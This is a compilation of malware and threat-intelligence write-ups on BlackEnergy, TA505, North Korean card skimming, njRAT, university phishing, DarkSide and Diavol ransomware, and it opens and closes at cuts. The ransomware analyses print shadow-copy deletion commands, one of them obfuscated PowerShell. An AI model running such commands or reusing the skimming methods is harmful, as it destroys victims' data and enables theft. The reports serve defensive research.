To ensure execution on every system startup, the dropper creates a LNK file into the system startup folder, which executes the same command as above on every system boot.
```
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}.lnk
```
The final payload (FONTCACHE.DAT, md5: 3fa9130c9ec44e36e52142f3688313ff) is a minimalistic BlackEnergy (v3) Trojan that proceeds to connect to its hardcoded C&C server, 5.149.254.114, on Port 80. The server was previously mentioned by our colleagues from ESET in their analysis earlier this month. The server is currently offline or limits the connections by IP address. If the server is online, the malware issues an HTTP POST request to it, sending basic victim info and requesting commands. The request is BASE64 encoded. Some of the fields contain:
```
b_id=BRBRB-…
b_gen=301018stb
b_ver=2.3
os_v=2600
os_type=0
```
The b_id contains a build id and a unique machine identifier and is computed from system information, which makes it unique per victim. This allows the attackers to distinguish between different infected machines in the same network. The field b_gen seems to refer to the victim ID, which in this case is 301018stb. STB could refer to the Ukrainian TV station “STB”. This TV station has been publicly mentioned as a victim of the BlackEnergy Wiper attacks in October 2015.
## Conclusions
BlackEnergy is a highly dynamic threat actor and the current attacks in Ukraine indicate that destructive actions are on their main agenda, in addition to compromising industrial control installations and espionage activities. Our targeting analysis indicates the following sectors have been actively targeted in recent years. If your organization falls into these categories, then you should take BlackEnergy into account when designing your defenses:
- ICS, Energy, government, and media in Ukraine
- ICS/SCADA companies worldwide
- Energy companies worldwide
The earliest signs of destructive payloads with BlackEnergy go back as far as June 2014. However, the old versions were crude and full of bugs. In the recent attacks, the developers appear to have gotten rid of the unsigned driver which they relied upon to wipe disks at low level and replaced it with more high-level wiping capabilities that focus on file extensions as opposed to disks. This is no less destructive than the disk payloads, of course, and has the advantage of not requiring administrative privileges as well as working without problems on modern 64-bit systems.
Interestingly, the use of Word documents (instead of Excel) was also mentioned by ICS-CERT, in their alert 14-281-01B. It is particularly important to remember that all types of Office documents can contain macros, not just Excel files. This also includes Word, as shown here and alerted by ICS-CERT and PowerPoint, as previously mentioned by Cys Centrum.
In terms of the use of Word documents with macros in APT attacks, we recently observed the Turla group relying on Word documents with macros to drop malicious payloads. This leads us to believe that many of these attacks are successful and their popularity will increase. We will continue to monitor the BlackEnergy attacks in Ukraine and update our readers with more data when available.
More information about BlackEnergy APT and extended IOCs are available to customers of Kaspersky Intelligence Services. Kaspersky Lab products detect the various Trojans mentioned here as: Backdoor.Win32.Fonten.* and HEUR:Trojan-Downloader.Script.Generic.
## Indicators of Compromise
- Word document with macros (Trojan-Downloader.Script.Generic): e15b36c2e394d599a8ab352159089dd2
- Dropper from Word document (Backdoor.Win32.Fonten.y): ac2d7f21c826ce0c449481f79138aebd
- Final payload from Word document (Backdoor.Win32.Fonten.o): 3fa9130c9ec44e36e52142f3688313ff
- BlackEnergy C&C Server: 5.149.254[.]114 |
# A Brief History of TA505
May 21, 2020
TA505 is a cybercriminal group that has been active since at least 2014. Initially, they focused on distributing banking malware, but over time, their operations have evolved to include a wider range of malicious activities. The group is known for its sophisticated techniques and use of various malware families, including the Dridex banking Trojan and the Locky ransomware.
TA505 has been linked to several high-profile attacks, often targeting organizations in various sectors, including finance, retail, and healthcare. Their operations typically involve phishing campaigns to deliver malware, which can lead to data breaches and financial losses for the victims.
The group is also known for its use of infrastructure that allows them to quickly adapt to changes in the cybersecurity landscape. This adaptability has made them a persistent threat, and they continue to evolve their tactics to evade detection and maximize their impact.
In conclusion, TA505 represents a significant threat in the cybercriminal landscape, with a history of adapting their methods and targets to achieve their goals. Organizations must remain vigilant and implement robust security measures to protect against such evolving threats. |
# North Korean Hackers Skimming US and European Shoppers
## What is Magecart?
Also known as digital skimming, this crime has surged since 2015. Criminals steal card data during online shopping. Who are behind these notorious hacks, how does it work, and how have Magecart attacks evolved over time?
## About Magecart
North Korean state-sponsored hackers are implicated in the interception of online payments from American and European shoppers, Sansec research shows. Hackers associated with the APT Lazarus/HIDDEN COBRA group were found to be breaking into online stores of large US retailers and planting payment skimmers as early as May 2019.
Previously, North Korean hacking activity was mostly restricted to banks and South Korean crypto markets, covert cyber operations that earned hackers $2 billion, according to a 2019 United Nations report. As Sansec’s new research shows, they have now extended their portfolio with the profitable crime of digital skimming.
Sansec researchers have attributed the activity to HIDDEN COBRA because infrastructure from previous operations was reused. Furthermore, distinctive patterns in the malware code were identified that linked multiple hacks to the same actor.
## HIDDEN COBRA & Digital Skimming
Digital skimming, also known as Magecart, is the interception of credit cards during online store purchases. This type of fraud has been growing since 2015 and was traditionally dominated by Russian and Indonesian-speaking hacker groups. This is no longer the case, as the incumbent criminals now face competition from their North Korean counterparts.
In order to intercept transactions, an attacker needs to modify the computer code that runs an online store. HIDDEN COBRA managed to gain access to the store code of large retailers such as international fashion chain Claire’s. How HIDDEN COBRA got access is yet unknown, but attackers often use spearphishing attacks (booby-trapped emails) to obtain the passwords of retail staff.
Using the unauthorized access, HIDDEN COBRA injects its malicious script into the store checkout page. The skimmer waits for keystrokes of unsuspecting customers. Once a customer completes the transaction, the intercepted data - such as credit card numbers - are sent to a HIDDEN COBRA-controlled collection server.
## Italian Model Agency as Money Mule
Curiously, HIDDEN COBRA used the sites of an Italian modeling agency and a vintage music store from Tehran to run its global skimming campaign. To monetize the skimming operations, HIDDEN COBRA developed a global exfiltration network. This network utilizes legitimate sites that got hijacked and repurposed to serve as disguise for the criminal activity. The network is also used to funnel the stolen assets so they can be sold on dark web markets. Sansec has identified a number of these exfiltration nodes, which include a modeling agency from Milan, a vintage music store from Tehran, and a family-run bookstore from New Jersey.
## Technical Analysis
Sansec monitors millions of online stores for skimming activity and typically finds 30 to 100 infected stores per day. Many cases have a common modus operandi, such as shared infrastructure or striking features in programming style. These traits can be obvious, such as the debug message “Success bro” that led to the arrest of three Indonesians in December. However, sometimes they are more subtle, as is the case with HIDDEN COBRA.
Sansec research has identified multiple, independent links between recent skimming activity and previously documented North Korean hacking operations. The following diagram shows (a small subset of) victim stores in green and HIDDEN COBRA controlled exfiltration nodes in red. Yellow indicates a uniquely identifying modus operandi (or TTP), which will be discussed next.
### The First Campaign: clienToken=
On June 23rd, 2019, Sansec discovered a skimmer on a US truck parts store that uses a compromised Italian modeling site to harvest payment data. The injected script `customize-gtag.min.js` is scrambled with a popular Javascript obfuscator. Hidden in the code, the string `WTJ4cFpXNTBWRzlyWlc0OQ==` is found, which is the double-base64 encoded representation of `clientToken=`. This particular keyword is later used as HTTP GET parameter to send the stolen payload to the collector exfiltration node. The specific encoding and the attempt to disguise the stolen payload as “clientToken” form a uniquely identifying characteristic.
The malware was removed within 24 hours but a week later, the very same malware resurfaced on the same store. This time, it used a New Jersey bookstore to harvest credit cards.
During the following months, Sansec discovered the same malware on several dozen stores. Each time, it uses one of these hijacked sites as loader and card collector:
- stefanoturco.com (between 2019-07-19 and 2019-08-10)
- technokain.com (between 2019-07-06 and 2019-07-09)
- darvishkhan.net (between 2019-05-30 and 2019-11-26)
- areac-agr.com (between 2019-05-30 and 2020-05-01)
- luxmodelagency.com (between 2019-06-23 and 2020-04-07)
- signedbooksandcollectibles.com (between 2019-07-01 and 2020-05-24)
### The Second Campaign: __preloader
In February and March 2020, several domain names were registered that closely resemble popular consumer brands:
- 2020-02-10 PAPERS0URCE.COM
- 2020-02-26 FOCUSCAMERE.COM
- 2020-03-21 CLAIRES-ASSETS.COM
Subsequently, Sansec found the web stores of the three corresponding brands compromised with payment skimming malware installed. The anonymously registered domains were used as loader and card collector.
The three malware cases not only share infrastructure (domain registrar & DNS service), but they also share a particularly odd code snippet that Sansec has not observed anywhere else. The three relevant malware segments are displayed below for reference. Common behavior: upon form submission a hidden, dynamic image is added to the page with the deceptive name `__preloader`. The image address is controlled by the attacker, and the intercepted and encoded payload is sent as an argument to this image, along with several random numbers. Immediately, the dynamic image is removed from the page, so the theft is invisible to the customer. Sansec has previously discussed this exfiltration method when it first reported on the Claire’s hack on June 15th.
The common code, behavior, registrar, and DNS server are unique traits that link these cases to the same source.
## The North Korean Link
As the diagram above shows, Sansec has established multiple, independent links to previously documented North Korean hacking activity. We will discuss each link separately.
### technokain.com
South Korea-based EST Security has published two articles documenting a North Korea-attributed attack where a malicious loader is embedded in Korean office documents. The loader installs remote access software for Windows on the victim’s computer, which is downloaded from this address. Additionally, US-based security firm Rewterz reported a spearphishing attack targeting attendees of the annual Consumer Electronics Show in Las Vegas. This attack uses malware from the same address.
These attacks took place on July 11 and 12th, less than a week after the placement of a skimmer on the same site.
### darvishkhan.net
Both Fortiguard Labs and EST Security document a DPRK-attributed spearphishing campaign that took place between June 26th and July 2nd 2019. The campaign used malicious Korean office documents containing malware installers, where remote access software was downloaded from. Two weeks earlier, multiple digital skimmers were launched from the same site, harvesting credit cards from several US, UK, and Australia-based stores.
### areac-agr.com
On October 25, Beijing-based Netlab360 discovered a novel remote access trojan (RAT) that showed multiple similarities with previously DPRK attributed malware. Components of the tool were loaded from the same site. Before and after the presence of this malware, digital skimmers were hosted on the same site, that would intercept payments from multiple American stores.
### papers0urce.com
The three malware domains from the `__preloader` campaign use distinct IPs. One of them - `papers0urce.com` - uses an address from Dutch ISP Leaseweb. This IP is not known to have been used for other domain names since 2015; however, it is featured in the same North Korea research as the previously discussed `areac-agr.com`. The IP is hardcoded in the RAT and used as a command and control (C2) server.
## Discussion
Does the usage of common loader sites, and the similarity in time frame, prove that the DPRK-attributed operations are run by the same actor as the skimming operations? Theoretically, it is possible that different nefarious actors had simultaneous control over the same set of hijacked sites, but in practice, this would be extremely unlikely. First, thousands of sites get hacked each day, making an overlap highly coincidental. Secondly, when a site gets hacked, it is common practice for a perpetrator to close the exploited vulnerability after gaining access, in order to shield the new asset from competitors.
## Conclusion
Sansec has found proof of global skimming activity that has multiple, independent links to previously documented, North Korea attributed hacking operations. Sansec believes that North Korean state-sponsored actors have engaged in large-scale digital skimming activity since at least May 2019. |
# MalSpam Campaigns Download njRAT from Paste Sites
By admin
March 22, 2021
Hackers have started frequently using legitimate paste sites to host malware. Phishing emails are usually the initial infection vector wherein the users are tricked into executing the malign content (usually URL links) in turn downloading other malicious content from such links. Paste sites which only support plain text files are very much advantageous for the threat actors to stay undetected, wherein they can easily encode (say base64 encoding) a malicious exe and paste them on the site as plain text.
This blog is all about njRAT that has been found to be hosted on paste.ee site. Paste.ee is a free pastebin where users can submit and upload pastes as plain text. The initial vector information which was found on Twitter is a vbs zipped file named “Lease Agreement.zip” and the password to open the file is mentioned as “tomorrow’s date.”
The first submission of the zipped file in VirusTotal being 19/02/2021 (DD/MM/YYYY) and on giving the password with the next day’s date which is 20/02/2021 (DD/MM/YYYY) as mentioned in the phishing email unzips the file.
The “Lease Agreement.vbs” script file uses “WScript.ScriptFullName” to return the full path to the script currently being executed, with which the vbscript copies the existing file to a new file named D.vbs in the startup folder. On execution, it connects to paste.ee from where the next stage of malware will be downloaded.
The copied D.vbs script and the contained base64 encoded data is executed with the help of PowerShell. The encoded base64 data contains the URL from which the njRAT is going to be downloaded. To complicate identifying the URL, the URL is reversed, so that users cannot find the URL at first sight. The ones that look like airplanes in the encoded base64 data are simple string replacements for string ‘A’. This base64 encoded data is the reverse of the exact base64 encoded data found in the URL “hxxps[:]//paste[.]ee/bsKo9/0.”
The reversed URL’s base64 encoded data can be seen in the document. The encoded base64 part on decoding was found to be the njRAT PE file. The obtained decoded PE file which is a njRAT executable is a .NET file named juju.exe. Once the njRAT is downloaded and run, it tries to connect with xxxcarldon.duckdns.org. The contacted IP address 192.169.69.26 has been blacklisted by several trusted IP look-ups.
njRAT, also known as ‘Bladabindi’ or ‘njw0rm’, is a Remote Access Trojan (RAT) created initially by the members of an underground community named Sparclyheason and this njRAT has been used in carrying out campaigns against the Middle East in the past. njRAT is capable of remotely controlling systems, spying on the victim’s system, and collecting all possible sensitive data like usernames and passwords. Everything happens silently in the background and the user never knows that they are being spied.
This .NET juju.exe RAT on debugging has been found to have several features. The usual keylogging feature of the njRAT can be seen in the screenshots. This RAT does registry modifications like DeleteValueFromRegistry, GetValueFromRegistry, SaveValueOnRegistry silently without the user’s knowledge. Victims’ details such as the victim’s name, username, OS name, and OS version are collected without their knowledge.
One major feature of this RAT is activating the webcam. It searches for a webcam and if it is not found, GetForegroundWindowTitle API retrieves the currently working window from which the victim can be spied on. The self-delete feature of this RAT deletes applications according to the hacker’s need.
Threat actors who have been seen using this njRAT in the past are Aggah, RATicate, Operation Commando, RevengeHotels, Sphinx, China Based APT 41, RedAlpha, Pakistan based Gorgon group, Transparent Tribe, Iran based Group5, Gaza based Molerats, Syria based Goldmouse, and Pat Bear. All of these APT groups’ main intention is to perform information theft and espionage activities.
Out of all these threat actors, Aggah specifically has been seen using paste.ee to host njRAT, NetWire RAT, RevengeRAT, and Agent Tesla. Other malware like vjw0rm, SmokeLoader, Azorult, and AsyncRAT have been seen hosted on paste.ee sites in the past by other threat actors.
## Conclusion
Threat actors, of late, have started favoring paste sites to host their malware as they support only plain text files, which helps the threat actors to easily evade detection from AV vendors. Moreover, if the malware is encoded as text and hosted on sites like paste.ee, threat actors know that these sites being legitimate cannot be taken down that easily. We at K7 Labs keep monitoring such malware proactively, even if it is hosted on legitimate sites and add detection at the earliest for the same to keep our users protected. Users are advised to install and use a reputable security product like K7 Total Security and keep it updated to stay safe from the latest threats.
## Indicators Of Compromise (IOCs)
| MD5 | File Name | K7 Detection Name |
|---------------------------------------|-----------------------------|---------------------------|
| 3FF8E653F245FBFA137BB714F096ADF8 | Lease Agreement.vbs | Trojan (0001140e1) |
| 036AD2F24390FD4A7654A922E05D0295 | juju.exe | Trojan (700000121) |
## MITRE ATT&CK
| Tactics | Techniques |
|-------------------------|-------------------------------------|
| Execution | PowerShell |
| | Scripting |
| Persistence | Registry Run Keys/Startup Folder |
| Defensive Evasion | Scripting | |
# University Targeted Credential Phishing Campaigns Use COVID-19, Omicron Themes
Proofpoint researchers have identified an increase in email threats targeting mostly North American universities attempting to steal university login credentials. The threats typically leverage COVID-19 themes including testing information and the new Omicron variant. Proofpoint observed COVID-19 themes impacting educational institutions throughout the pandemic, but consistent, targeted credential theft campaigns using such lures targeting universities began in October 2021. Following the announcement of the new Omicron variant in late November, the threat actors began leveraging the new variant in credential theft campaigns.
Threat actors continue to use COVID-19 theme lures in campaigns targeting multiple industries and geographic areas. The threats specifically targeting universities are interesting due to the specificity in targeting and effort to mimic legitimate login portals. It is likely this activity will increase in the next two months as colleges and universities provide and require testing for students, faculty, and other workers traveling to and from campus during and after the holiday season, and as the Omicron variant emerges more widely.
We expect more threat actors will adopt COVID-19 themes given the introduction of the Omicron variant. This assessment is based on previously published research that identified COVID-19 themes making a resurgence in email campaigns following the emergence of the Delta variant in August 2021.
## Campaign Details
The COVID-19 themed campaigns, including Omicron variant lures, include thousands of messages targeted to dozens of universities in North America. The phishing emails contain attachments or URLs for pages intended to harvest credentials for university accounts. The landing pages typically imitate the university’s official login portal, although some campaigns feature generic Office 365 login portals. In some cases, such as the Omicron variant lures, victims are redirected to a legitimate university communication after credentials are harvested. Proofpoint observed this threat actor pivot from Delta variant themed email lures to Omicron themes following the announcement of the new variant.
Emails with URLs use subjects such as:
**Attention Required - Information Regarding COVID-19 Omicron Variant - November 29**
With a link to a spoofed landing page such as:
**Figure 1:** Spoofed login page for the University of Central Missouri.
Messages distributing attachments included subject lines such as **“Covid Test.”**
**Figure 2:** HTM attachment leading to a credential capture webpage.
The attachments lead to a university themed email credential theft webpage.
**Figure 3:** Credential theft webpage spoofing Vanderbilt University.
Proofpoint has identified multiple threat clusters using COVID-19 themes to target universities using different tactics, techniques, and procedures (TTPs). In addition to multiple delivery methods – Proofpoint has observed both URL and attachments in campaigns – activity clusters use different sender and hosting methods to distribute credential theft campaigns.
In the Omicron variant campaign, threat actors leverage actor-controlled infrastructure to host credential theft webpages using similar domain naming patterns. These include:
- sso[.]ucmo[.]edu[.]boring[.]cf/Covid19/authenticationedpoint.html
- sso2[.]astate[.]edu[.]boring[.]cf/login/authenticationedpoint.html
Attachment-based campaigns have leveraged legitimate but compromised WordPress websites to host credential capture webpages, including:
- hfbcbiblestudy[.]org/demo1/includes/jah/[university]/auth[.]php
- afr-tours[.]co[.]za/includes/css/js/edu/web/etc/login[.]php
- traveloaid[.]com/css/js/[university]/auth[.]php
In some campaigns, threat actors attempted to steal multifactor authentication (MFA) credentials, spoofing MFA providers such as Duo. Stealing MFA tokens enables the attacker to bypass the second layer of security designed to keep out threat actors who already know a victim’s username and password.
**Figure 4:** Duo MFA credential theft landing page.
While many messages are sent via spoofed senders, Proofpoint has observed threat actors leveraging legitimate, compromised university accounts to send COVID-19 themed threats. It is likely the threat actors are stealing credentials from universities and using compromised mailboxes to send the same threats to other universities. Proofpoint does not attribute this activity to a known actor or threat group, and the ultimate objective of the threat actors is currently unknown.
## Indicators of Compromise
| Indicator | Description |
|-----------|-------------|
| hfbcbiblestudy[.]org/demo1/includes/jah/[university]/auth[.]php | Credential Theft URL |
| afr-tours[.]co[.]za/includes/css/js/edu/web/etc/login[.]php | Credential Theft URL |
| traveloaid[.]com/css/js/[university]/auth[.]php | Credential Theft URL |
| offthewallgraffiti[.]org/[university]/auth[.]php | Credential Theft URL |
| sso[.]ucmo[.]edu[.]boring[.]cf/Covid19/authenticationedpoint.html | Credential Theft URL |
| sso2[.]astate[.]edu[.]boring[.]cf/login/authenticationedpoint.html | Credential Theft URL |
| 242smarthome[.]com/[university]/auth.php | Credential Theft URL |
| jass-butz[.]at/xx/main/main.php | Credential Theft URL |
| Bluecollarsubs[.]com/main/main.php | Credential Theft URL | |
# DarkSide Ransomware Behavior and Techniques
A modern ransomware, DarkSide offers their ransomware-as-a-service to other cyber-criminal groups for a percentage of the profits. Both Windows and Linux versions of the ransomware have been found in the wild. It encrypts files using the lightweight Salsa20 encryption algorithm with an RSA-1024 public key. Victims are presented with Bitcoin and Monero wallets to pay the cyber-criminal sums varying from two thousand to two million dollars for the decryption key. According to TrendMicro, the actor behind this ransomware family is believed to be Eastern European.
Groups leveraging DarkSide have recently been targeting manufacturing, insurance, healthcare, and energy organizations. Multiple strains of the ransomware were released either to attack specific high-value targets or to hamper the detection effort. Following the attack on Colonial Pipeline, another DarkSide strain also managed to successfully infect a Toshiba Tech business unit in France. Meanwhile, another eastern-European ransomware (calling themselves Conti) has infected Ireland’s national health service.
DarkSide uses phishing, weak credentials, and exploitation of known vulnerabilities (such as CVE-2021-20016, a SQL injection in the SonicWall SMA100 SSL VPN product) as tactics to gain system access.
Keysight's Application and Threat Intelligence (ATI) research team has released a DarkSide kill chain assessment, simulating the malware’s behavior. In this blog post, we'll walk you through what happens when the DarkSide malware infects a system, in terms of MITRE ATT&CK techniques.
## T1082 - System Information Discovery
The malware checks whether its process is being debugged by a user-mode debugger. If that is the case, then the malware will exit. It is a common malware anti-debugging mechanism. Other WIN APIs associated with system information discovery that this malware showcases include:
- **GetSystemInfo**: Used to return the processor count. This API can be used to determine if the malware is being run in a virtualized environment.
- **CheckRemoteDebuggerPresent**: Used to determine if a remote process is being debugged.
- **GetSystemDefaultUILanguage, GetUserDefaultLangID**: Used to detect the configured language on the system. The malware will not infect the host if the following languages are installed:
- Russian - 419
- Azerbaijani (Latin) - 42C
- Uzbek (Latin) - 443
- Uzbek (Cyrillic) - 843
- Ukrainian - 422
- Georgian - 437
- Tatar - 444
- Arabic (Syria) - 2801
- Belarusian - 423
- Kazakh - 43F
- Romanian (Moldova) - 818
- Tajik - 428
- Kyrgyz (Cyrillic) - 440
- Russian (Moldova) - 819
- Armenian - 42B
- Turkmen - 442
- Azerbaijani (Cyrillic) - 82C
## T1543.003: Create or Modify System Process: Windows Service
The malware will attempt to attain persistence by calling the CreateServiceA WIN API that creates a system service pointing to the malware executable file, which will start automatically after restart. The malicious service hides itself using the name .021e895b, a pseudo-random string of eight lowercase hexadecimal characters, generated based on either the system’s MAC address or MachineGuid registry value.
## T1548.002: Abuse Elevation Control Mechanism, Bypass User Account Control
If the operating system is Windows 10 or newer, the malware attempts a UAC bypass through a CMSTPLUA COM interface.
## T1553.002: Subvert Trust Controls, Code Signing
To be able to run on systems where only signed code is allowed to execute, the malware is signed with Cobalt Strike stager’s certificate.
## T1490: Inhibit System Recovery
Before encrypting the files on the system, the ransomware uses the CreateProcess API to execute the following command:
```powershell
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C657$s"
```
By decoding the content of the byte stream, we obtain: The PowerShell command is querying the WMI to obtain the list of the system’s shadow copies and deletes them before encrypting the user files, thus avoiding post-infection system recovery.
## T1486: Data Encrypted for Impact
The found system files are encrypted using the lightweight Salsa20 encryption algorithm. Each key is encrypted using the embedded RSA-1024 public key. In each traversed directory, the malware writes the ransom note shown below.
## Conclusion
DarkSide has above-average anti-VM/anti-debugging protections. Written in C and highly modular, it was released in different versions, with multiple packers, which made it hard to pin down with signature-based detection. For more details, please inspect the joint CISA-FBI cybersecurity advisory on the DarkSide ransomware. Using the knowledge gleaned from reverse engineering, we have released a complete Darkcloud killchain assessment for our Threat Simulator customers. Now you can test your endpoint and network security controls for coverage of this and many other threats in your production environment safely. |
# Diavol Ransomware
This is my analysis for the DIAVOL Ransomware. DIAVOL is a relatively new ransomware that uses a unique method with shellcode to launch its core functions and RSA to encrypt files. The malware contains a hard-coded configuration that stores information such as files to encrypt and RSA public key, but it can also request these information from the threat actor’s remote server. Unlike most major ransomware, this new malware’s encryption scheme is relatively slow due to its recursive method for file traversal.
## IOCS
The analyzed sample is a 64-bit Windows executable.
MD5: f4928b5365a0bd6db2e9d654a77308d7
SHA256: ee13d59ae3601c948bd10560188447e6faaeef5336dcd605b52ee558ff2a8588
Sample: MalwareBazaar
## Ransom Note
The content of the default ransom note is stored in plaintext in DIAVOL’s configuration. The malware can also request a ransom note from its remote server and override the default with that. DIAVOL’s ransom note filename is README-FOR-DECRYPT.txt.
## Static Code Analysis
### Anti-Analysis: Launching Functions with Shellcode
For anti-analysis, DIAVOL loads shellcode containing its core functions into memory and executes it dynamically, which makes static analysis a bit harder. First, the malware calls VirtualAlloc to allocate two memory buffers to later load these shellcodes in. When DIAVOL wants to execute a certain functionality, it calls a function to load the shellcode into memory and executes a call instruction to transfer control to the shellcode.
To load shellcode into memory, DIAVOL extracts the bitmap image corresponding to the given resource name by calling LoadBitmapW, CreateCompatibleDC, SelectObject, and GetObjectW. Next, it calls GetDIBits to retrieve the bits of the bitmap image and copies them into the shellcode buffer as a DIB. Unlike normal shellcode, DIAVOL’s doesn’t manually walk the PEB to resolve its imports dynamically. The malware loads a “JPEG” with the same name in the resource section, extracts a list of imported functions with their corresponding DLL, and manually calls LoadLibraryA and GetProcAddress to resolve it for the shellcode. The resolved API addresses are stored at the end of the buffer, so the shellcode can make calls to those APIs using their exact offsets, which makes the loaded payload position-independent.
### Command-line Arguments
DIAVOL can run with or without command-line arguments. Below is the list of arguments that can be supplied by the operator.
- `-p <target>`: Path to a file containing files/directories to be encrypted specifically
- `-h <target>`: Path to a file containing remote files/directories to enumerate with SMB
- `-m local`: Encrypting local files and directories
- `-m net`: Encrypting network shares
- `-m scan`: Scanning and encrypting network shares through SMB
- `-m all`: Encrypting local and network drives without scanning through SMB
- `-log <log_filename>`: Enable logging to the specified log file
- `-s <IP_address>`: Remote server’s IP address to register bot
- `-perc <percent>`: Percent of data to be encrypted in a file (default: 10%)
### Bot ID Generation
The first functionality DIAVOL executes is generating the bot ID through loading and executing the shellcode from the resource GENBOTID. Prior to launching the shellcode, DIAVOL calls time64 to retrieve the current timestamp on the system and uses it as the seed for srand to initialize the pseudo-random number generator. Next, it generates a structure and passes it to the shellcode. The bot_ID field is later used to register the victim to the threat actor’s remote server, and the victim_ID is the victim ID that is written to the ransom note. The RSA_CRYPT_BUFF is a buffer that is later used to encrypt files.
### Hard-coded Configuration
The configuration of DIAVOL is stored in plaintext in memory. To extract it, the malware allocates a structure using LocalAlloc and populates it using the hard-coded values from memory. Below are the hard-coded values for the configuration.
```plaintext
{
server_IP_addr: "127.0.0.1",
group_ID = "c1aaee",
Base64_RSA_Key = "BgIAAACkAABSU0ExAAQAAAEAAQCxVuiQzWxjl9dwh2F77Jxqt/PIrJoczV2RKluW
M+xv0gSAZrL8DncWw9hif+zsvJq6PcqC0NugL3raLFbaUCUT8KAGgrOkIPmnrQpz
5Ts2pQ0mZ80UlkRpw10CMHgdqChBqsnNkB9XF/CFYo4rndjQG+ZO22WX+EtQr6V8
MYOE1A==",
process_kill_list = [...],
service_stop_list = [...],
file_ignore_list = [...],
file_include_list = ["*"],
file_wipe_list = [],
target_file_list = [],
ransom_note = "\n\r!NPV revo roT esu ot yrT .krowten etaroproc ro yrtnuoc ruoy ni
kcolb eb yam resworB roT\n\r\n\r%tob_dic%/<redacted>/<redacted>//:sptth - etisbew ruo
tisiv dna resworB roT eht nepO .2\n\r.ti llatsni dna resworB roT daolnwoD .1\n\r\n\r#
?kcab selif ym teg ot woH #\n\r\n\r.etisbew swen ruo no dehsilbup eb lliw tnemyap
gnikam ton fo esac ni taht krowten ruoy morf atad dedaolnwod osla evah ew taht
noitaredisnoc otni ekaT\n\r.krowten eht erotser rof loot noitpyrced y"
}
```
### Bot Registration
To register the victim as a bot, DIAVOL first builds the content of the POST request to later be sent to the register remote server. This is done through combining the bot ID generated in Bot ID Generation and the hard-coded group ID in the configuration. Next, the malware allocates memory for a structure before loading and executing the shellcode from resource REGISTER. To send the POST request, the shellcode initializes the application’s use of the WinINet functions, connects to the C2 server, opens a POST request at the specified domain directory, and sends the crafted POST request. Finally, the malware queries and returns the server’s response.
### Configuration Overriding
Besides using the command line parameters, DIAVOL can also request different values from its remote server to override the configuration fields. First, the malware checks to make sure the victim has been properly registered as a bot to the main register server by checking if the server’s response code is 200. Next, it loads and executes the shellcode from the resource FROMNET to request different configuration values.
### Stopping Services
DIAVOL loads and executes the shellcode from the resource SERVPROC to stop the services specified in the configuration. Given a list of services to stop, the shellcode iterates through the list and stops them through the service control manager.
### Terminating Processes
DIAVOL loads and executes the shellcode from the resource KILLPR to terminate the processes specified in the configuration. The shellcode first calls CreateToolhelp32Snapshot to take a snapshot of all processes in the system. Using the snapshot, it iterates through each process and compares its executable name against every name in the configuration’s process list to be terminated.
### RSA Initialization
Prior to file encryption, DIAVOL sets up the cryptography buffers that are later used to encrypt files. First, it allocates memory for a structure before loading and executing the shellcode from resource RSAINIT. The shellcode’s job is to populate the RSA_FOOTER field to later be used during file encryption. It calls CryptStringToBinaryW to Base64-decode the RSA public key and CryptAcquireContextW to retrieve a handle to the corresponding cryptographic service provider.
### Finding Drives To Encrypt
DIAVOL loads and executes the shellcode from the resource ENMDSKS to enumerate and find all drives in the system when the encryption mode from the command line is local, net, scan, or all. The shellcode receives the list of files to avoid encrypting and a buffer to contain the name of drives found during enumeration as parameters. The shellcode first calls GetLogicalDriveStringsW to retrieve a list of all the drives in the system. For each drive, its name is converted into lowercase and passed into GetDriveTypeW to retrieve its type. The drive only gets processed if its type is DRIVE_REMOTE or DRIVE_FIXED and its name is not in the list of files to avoid.
### Scanning Target Network Shares Through SMB
DIAVOL has two different shellcodes for scanning network shares using SMB in the SMBFAST and SMB resources. The SMBFAST shellcode is used to scan for network shares from the target host list given by the “-h” command-line parameter. Prior to launching this shellcode, DIAVOL allocates memory for a structure to contain information about network hosts to enumerate for shares.
### Encryption: Target File Enumeration
DIAVOL’s file encryption is divided into three parts. The first part is enumerating and encrypting all files from the target list in the malware’s configuration. Up to this point, the files and directories in the list can come from the hard-coded values in memory or from the command-line parameter “-p”. First, it allocates memory for a structure before loading and executing the shellcode from resource FINDFILES. The FINDFILES shellcode first converts the target filename to lowercase and checks to make sure the filename does not match with anything in the configuration’s file to ignore list or the target file list.
### Encryption: File Encryption
The encrypt_file used in the FINDFILES shellcode takes in the name of a directory/file to encrypt. First, it sets up a structure. If the name from the parameter is a directory, DIAVOL calls SetCurrentDirectoryW to change the current directory for the malware’s process to the directory’s name. It then calls CreateFileW to create the ransom note file and WriteFile to write the ransom note in there. When the name from the parameter is of a file, the malware launches the ENCDEFILE shellcode to encrypt it.
### Shadow Copies Deletion
To delete all shadow copies on the system, DIAVOL loads and executes the shellcode from the VSSMOD resource. The shellcode resolves stackstrings and calls GetEnvironmentVariableW on the “CompSpec” string to retrieve a full path to the command-line interpreter. With that, it calls ShellExecuteW to execute the command “vssadmin Delete Shadows /All /Quiet” to delete all shadow copies on the system.
### Changing Desktop Image
To change the desktop image, DIAVOL loads and executes the shellcode from the CHNGDESK resource. The shellcode first resolves stackstrings and retrieves the registry key using the sub key “Control Panel\Desktop”. With the registry key, the malware queries the path to the current wallpaper image and sets that path as the value of “WallpaperOld”. To build the bitmap path to drop on the system, the malware retrieves the path to the special folder containing image files common to all users and appends “encr.bmp” to that path. The malware then creates a bitmap as big as the current desktop window size and writes the strings into the bitmap before setting the wallpaper to the newly created bitmap file.
### Self Deletion
After finishing file encryption and changing the wallpaper, the malware deletes its own executable. First, it retrieves its own executable path and builds a command to delete it. With that, it calls ShellExecuteW to execute the command to delete its own executable.
### Logging
Throughout its execution, DIAVOL logs all of its operations when logging is enabled through command-line. In the logging function, the malware receives a string as a parameter, retrieves the current system time when the logging occurs, and writes that to the log file buffer.
## References
- https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider
- https://securityintelligence.com/posts/analysis-of-diavol-ransomware-link-trickbot-gang/
- yashechka, don’t be too distanced ;) Just wanna say hi on XSS |
# Decoding Network Data from a Gh0st RAT Variant
